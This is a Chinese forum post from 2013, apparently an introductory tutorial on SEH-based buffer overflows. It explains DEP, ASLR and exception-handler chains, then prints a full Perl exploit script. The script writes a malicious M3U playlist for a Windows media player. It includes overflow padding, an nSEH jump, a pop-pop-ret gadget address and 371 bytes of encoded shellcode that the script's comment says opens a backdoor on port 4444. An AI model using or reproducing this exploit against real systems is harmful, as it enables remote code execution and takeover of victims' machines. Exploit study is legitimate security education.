溢出入门文章Ver.1(demo)异常处理SEH

2013-11-16 21:15:36 20 6503 2


2.(SEH)3分钟理论阅读

通过直接覆盖返回地址eip,控制系统指针指到相应地址。

执行存在jmp esp的指令,通过跳转定位到shellcode领域执行playload。

其中有2点问题

是系统与硬件的DEP数据保护 不允许返回执行数据
ASLR 地址随机变化会导致原本地址要执行的 jmp esp 指令变化为其他不可预知的指令
由于DEP除了栈数据保护其他就不再限制了

所以绕过的方法还有很多 比如放入堆 再控制EIP来执行(堆喷技术) 另外一个就是SEH 异常处理机制

1AAAAAAA(nseh)(seh)2BBBBBBB(nseh)(seh)3CCCCCCCCC.....FFFFFFFF

假设当1出现错误系统根据SEH链表

调往相应地址入口寻找解决办法

调往2执行

假如2不能解决问题

则调往3

假如都不能解决则指向一个最终的地址执行退出程序指令

通过处理机制我们可以看出只要我们能修改异常处理入口的地址 为shellcode地址 我们的目的就达到了

演示视频下载
http://yunpan.cn/Q9aLY8hZQ7QUd (提取码:3d4b)
#!/usr/bin/perl

$file = "win7(Seh).M3U";
$junk = "A" x 4660;

$rop ="\xEB\xE8\xFF\xFF";#(Next seh)JMP SHORT 0012F9EA(4字节)
$rop .=pack('V', 0x0040b943);#pop ebx # pop ebp # ret 0x10(SEH)

#0012F9E7   41               INC ECX
#0012F9E8   41               INC ECX
#0012F9E9   41               INC ECX
#0012F9EA   41               INC ECX                                  ; SthSDVD.0040B943
#0012F9EB   41               INC ECX
#0012F9EC   41               INC ECX
# 0012F9ED   41               INC ECX
# 0012F9EE  ^E9 8C6BFFFF      JMP 0012657C(5字节)
# 0012F9F3   41               INC ECX
# 0012F9F4   41               INC ECX
# 0012F9F5   41               INC ECX
# 0012F9F6   41               INC ECX
# 0012F9F7   41               INC ECX
# 0012F9F8   41               INC ECX
# 0012F9F9   41               INC ECX
# 0012F9FA   41               INC ECX
# 0012F9FB   41               INC ECX
# 0012F9FC   41               INC ECX
# 0012F9FD   41               INC ECX
# 0012F9FE   41               INC ECX
# 0012F9FF   41               INC ECX
# 0012FA00  ^EB E8            JMP SHORT 0012F9EA(4字节)
# 0012FA02   90               NOP
# 0012FA03   90               NOP


#exec backdoor local 4444 port (371_byte)
$shellcode=
"\xbd\x0e\x27\x05\xab\xda\xdb\xd9\x74\x24\xf4\x5a\x33\xc9" .
"\xb1\x56\x83\xc2\x04\x31\x6a\x0f\x03\x6a\x01\xc5\xf0\x57" .
"\xf5\x80\xfb\xa7\x05\xf3\x72\x42\x34\x21\xe0\x06\x64\xf5" .
"\x62\x4a\x84\x7e\x26\x7f\x1f\xf2\xef\x70\xa8\xb9\xc9\xbf" .
"\x29\x0c\xd6\x6c\xe9\x0e\xaa\x6e\x3d\xf1\x93\xa0\x30\xf0" .
"\xd4\xdd\xba\xa0\x8d\xaa\x68\x55\xb9\xef\xb0\x54\x6d\x64" .
"\x88\x2e\x08\xbb\x7c\x85\x13\xec\x2c\x92\x5c\x14\x47\xfc" .
"\x7c\x25\x84\x1e\x40\x6c\xa1\xd5\x32\x6f\x63\x24\xba\x41" .
"\x4b\xeb\x85\x6d\x46\xf5\xc2\x4a\xb8\x80\x38\xa9\x45\x93" .
"\xfa\xd3\x91\x16\x1f\x73\x52\x80\xfb\x85\xb7\x57\x8f\x8a" .
"\x7c\x13\xd7\x8e\x83\xf0\x63\xaa\x08\xf7\xa3\x3a\x4a\xdc" .
"\x67\x66\x09\x7d\x31\xc2\xfc\x82\x21\xaa\xa1\x26\x29\x59" .
"\xb6\x51\x70\x36\x7b\x6c\x8b\xc6\x13\xe7\xf8\xf4\xbc\x53" .
"\x97\xb4\x35\x7a\x60\xba\x6c\x3a\xfe\x45\x8e\x3b\xd6\x81" .
"\xda\x6b\x40\x23\x62\xe0\x90\xcc\xb7\xa7\xc0\x62\x67\x08" .
"\xb1\xc2\xd7\xe0\xdb\xcc\x08\x10\xe4\x06\x3f\x16\x2a\x72" .
"\x6c\xf1\x4f\x84\x83\x5d\xd9\x62\xc9\x4d\x8f\x3d\x65\xac" .
"\xf4\xf5\x12\xcf\xde\xa9\x8b\x47\x56\xa4\x0b\x67\x67\xe2" .
"\x38\xc4\xcf\x65\xca\x06\xd4\x94\xcd\x02\x7c\xde\xf6\xc5" .
"\xf6\x8e\xb5\x74\x06\x9b\x2d\x14\x95\x40\xad\x53\x86\xde" .
"\xfa\x34\x78\x17\x6e\xa9\x23\x81\x8c\x30\xb5\xea\x14\xef" .
"\x06\xf4\x95\x62\x32\xd2\x85\xba\xbb\x5e\xf1\x12\xea\x08" .
"\xaf\xd4\x44\xfb\x19\x8f\x3b\x55\xcd\x56\x70\x66\x8b\x56" .
"\x5d\x10\x73\xe6\x08\x65\x8c\xc7\xdc\x61\xf5\x35\x7d\x8d" .
"\x2c\xfe\x8d\xc4\x6c\x57\x06\x81\xe5\xe5\x4b\x32\xd0\x2a" .
"\x72\xb1\xd0\xd2\x81\xa9\x91\xd7\xce\x6d\x4a\xaa\x5f\x18" .
"\x6c\x19\x5f\x09"."C" x 629;#629+371=1000byte

$jmp="\xE9\x8C\x6B\xFF\xFF"."C" x 15 ;#JMP 0012657C(5字节)15+5=20

$end ="\r\n";

$nops="\x90" x 20;

$buf = $nops.$shellcode.$junk.$jmp;

open(FILE,">$file");
#print FILE $junk.$eip.$nops.$shellcode;
print FILE $buf.$rop.$end;
close(FILE);

关于作者

anlfi55篇文章3302篇回复

评论20次

要评论?请先  登录  或  注册